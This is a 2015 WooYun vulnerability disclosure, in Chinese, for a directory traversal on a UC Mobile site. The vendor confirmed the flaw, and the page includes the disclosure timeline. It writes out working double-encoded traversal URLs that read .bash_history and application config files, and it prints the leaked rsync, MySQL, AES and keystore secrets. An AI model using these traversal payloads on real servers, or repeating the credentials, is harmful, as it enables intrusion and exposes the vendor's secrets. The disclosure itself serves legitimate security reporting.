当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093591

漏洞标题:UCweb某站点目录遍历致敏感配置信息泄漏

相关厂商:UC Mobile

漏洞作者: lijiejie

提交时间:2015-01-24 18:03

修复时间:2015-03-10 18:04

公开时间:2015-03-10 18:04

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-24: 细节已通知厂商并且等待厂商处理中
2015-01-26: 厂商已经确认,细节仅向厂商公开
2015-02-05: 细节向核心白帽子及相关领域专家公开
2015-02-15: 细节向普通白帽子公开
2015-02-25: 细节向实习白帽子公开
2015-03-10: 细节向公众公开

简要描述:

UCweb某站点目录遍历,导致各种敏感配置信息泄漏

详细说明:

目录遍历位于:

http://mfw.uc.cn/download/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/home/jws/.bash_history


非root,可读取较大量的敏感配置信息。

漏洞证明:

比较有价值的用户:

jws:x:501:501::/home/jws:/bin/bash


.bash_history泄漏了很多信息:

/home/jws/local/logman/crontab/.rsync_pass
mhBds7ZtoxSJ


http://mfw.uc.cn/download/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//home/jws/apps/appserver/conf/db.conf

db.url=jdbc:mysql://127.0.0.1:23308/wifi?characterEncoding=utf-8
db.driver=com.mysql.jdbc.Driver
db.user=wifi
db.pass=H4RlesknKukp


device_db.url=jdbc:mysql://i3gt8888.mysql.rds.aliyuncs.com:3306/report_db?useUnicode=true&characterEncodeing=UTF-8
device_db.driver=com.mysql.jdbc.Driver
device_db.user=report_db
device_db.pass=report_db


ucweb_mysql.png


http://mfw.uc.cn/download/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//home/jws/apps/appserver/conf/application.conf

# ~~~~~
# AES文本加密密钥
# 加密方式:jws.libs.encryptAES(str);
# 解密方式:jws.libs.decryptAES(str);
application.secret=wAh10yPZJZhs4zipuJjVDcGapGMpRLkOEbbOsbMu6VckNDYrJ6QcWey9NdIH6fOI
#https相关
https.port=8943
keystore.algorithm=JKS
keystore.password=snk6QNgIQB15
keystore.file=conf/https/ssl.jks

修复方案:

修复目录遍历漏洞

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-26 10:09

厂商回复:

漏洞存在,已转给相关人员处理,非常感谢!

最新状态:

暂无


漏洞评价:

评论